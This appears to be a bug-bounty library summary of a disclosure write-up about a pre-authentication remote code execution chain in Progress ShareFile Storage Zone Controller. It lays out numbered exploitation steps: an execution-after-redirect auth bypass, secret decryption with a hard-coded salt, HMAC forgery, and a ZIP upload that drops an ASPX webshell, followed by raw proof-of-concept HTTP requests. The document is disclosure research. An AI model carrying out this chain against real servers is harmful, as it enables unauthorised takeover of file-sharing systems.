# You’re Not Supposed To ShareFile With Everyone (Progress ShareFile Pre-Auth RCE Chain CVE-2026-2699 & CVE-2026-2701)

Progress ShareFile Storage Zone Controller 5.12.3: EAR auth bypass on Admin.aspx plus unzip-to-webroot upload yields pre-auth RCE.

- Payout: Research
- Severity: critical
- Program: Progress
- Found by (vendor credit): Sonny of watchTowr, h4x0r_dz, Piotr Bazydlo of watchTowr
- Write-up by: Sonny
- Disclosed: 2026-04-02
- CVE: CVE-2026-2699, CVE-2026-2701
- Write-up quality: 9/10
- Original: https://labs.watchtowr.com/youre-not-supposed-to-sharefile-with-everyone-progress-sharefile-pre-auth-rce-chain-cve-2026-2699-cve-2026-2701/
- Library page: https://bugbountylibrary.com/r/blog%3Alabs-watchtowr-com-youre-not-supposed-to-sharefile-with-everyone-progress-sharefile-pre-auth-rce-chain-cve-2026-2699-cve
- Tags: area:web domain:web impact:rce kind:research platform:research sev:critical tech:dotnet technique:chained technique:source-review vuln:access-control vuln:auth-bypass vuln:file-upload vuln:rce

**Target:** ShareFile Storage Zone Controller (IIS/ASP.NET 5.x, Admin.aspx and Upload.aspx)
**Root cause:** Admin.aspx calls Response.Redirect(path, false) so the page continues executing after the redirect (CWE-698 EAR), exposing admin config pre-auth. Separately, the upload endpoint extracts ZIP contents without renaming when unzip=true, and the storage location is attacker-controllable.
**Steps:**
1. Request `/ConfigService/Admin.aspx`; observe 302 to Login.aspx but a large body (~22448 bytes) containing the admin panel, indicating execution after redirect.
2. Drop the Location header (or otherwise render the body) to interact with the admin panel unauthenticated.
3. Use 'Join existing Zone' to set Storage Repository / Network Share Location to C:\inetpub\wwwroot\ShareFile\StorageCenter\documentum; validation only writes/deletes a test file.
4. Change Primary Zone Controller to attacker URL; old passphrase is not validated, so a new passphrase can be set.
5. Leak TempData2 via `GET /ConfigService/api/StroageZoneConfig?&h=<hmac>` signed with the new passphrase (HMAC-SHA256 of `/configservice/api/stroagezoneconfig`).
6. Decrypt TempData2 (base64, AES) using hard-coded salt `p3510060xfZ2s9` and the passphrase to obtain the Zone Secret.
7. Compute upload HMAC over /upload.aspx?id=<id>&uploadid=<uploadid>&bp=test&accountid=1&exp=<timestamp> with the Zone Secret and append as `h`.
8. POST multipart to `/upload.aspx?...&h=...` with `unzip=true` and a ZIP containing an .aspx webshell as File1.
9. ZIP is extracted to <Network-Storage-Location>/files/ul-<query-string-uploadid>/1/ preserving the .aspx extension; request the webshell for RCE.
**How found:** Enumerated all .aspx endpoints and compared status codes/body sizes; noticed Admin.aspx returned 302 but with an unusually large body, recalling PHP-style execution-after-redirect bugs, then confirmed in decompiled ConfigService.Admin that Redirect(path,false) skips termination. Later traced upload code to find unzip handling that preserves filenames.
**Exploitation:** Pre-auth attacker hits Admin.aspx, bypasses auth via EAR, reconfigures storage to webroot and passphrase, leaks/decrypts Zone Secret, forges upload HMAC, and uploads a ZIP with unzip=true to drop an ASPX webshell into the webroot, achieving RCE as the IIS app pool.
**Escalation:** Chained auth bypass (CVE-2026-2699) with config manipulation, secret leak/decrypt, HMAC forgery, and ZIP extraction to convert admin config access into pre-auth RCE (CVE-2026-2701).
**Insight:** In .NET, Response.Redirect(url, false) does not end the request; always check the second bool argument and body length on 302s. Also, storage-location 'validation' that only writes/deletes a test file does not restrict path to a share, and ZIP-extract features often skip the rename/extension-strip applied to normal uploads.

## Proof of concept (copied exactly from the original report)

**Multipart upload request with unzip=true for webshell**

```
POST /upload.aspx?id=803436333&uploadid=jtrazo53&bp=test&accountid=1&exp=1970804033&h=ARcXg5ZqhVKOrlvNmzXjDeOaJIPHkjXX3OrmVJnB090= HTTP/1.1
Host: sharefile.lab.local
User-Agent: python-requests/2.31.0
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Length: 1873

------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="bp"

testz\\a
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="accountid"

1
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="bm"

2
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="bo"

3
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="uploadid"

123
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="rsu"

12345
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="NeatUpload_PostBackID"

12345
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="onfinishurl"

<http://sharefile.com/test>
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="unzip"

true
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="File1"; filename="test.zip"; UniqueID="File1"
Content-Type: text/plain

zip-file-with-webshell-here
```

**Request leaking TempData2 zone secret**

```
GET /ConfigService/api/StroageZoneConfig?&h=<hmac>
```

**Admin.aspx response body after redirect (EAR)**

```
HTTP/1.1 302 Found
Cache-Control: private,no-store
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Location: /ConfigService/Login.aspx?callerpage=Admin
Server: Microsoft-IIS/10.0
Access-Control-Allow-Origin: *
Access-Control-Max-Age: 540
Access-Control-Allow-Headers: Content-Type
Access-Control-Allow-Methods: GET, POST, PATCH, DELETE, OPTIONS, HEAD
Strict-Transport-Security: max-age=31536000
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
X-Frame-Options: DENY
Date: Mon, 23 Mar 2026 01:59:44 GMT
Content-Length: 22448

<html><head><title>Object moved</title></head><body>
<h2>Object moved to <a href="/ConfigService/Login.aspx?callerpage=Admin">here</a>.</h2>
</body></html>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "<http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd>">

<html xmlns="<http://www.w3.org/1999/xhtml>">
<head id="ctl00_Head1"><title>
 ShareFile - Where Companies Connect
</title>
```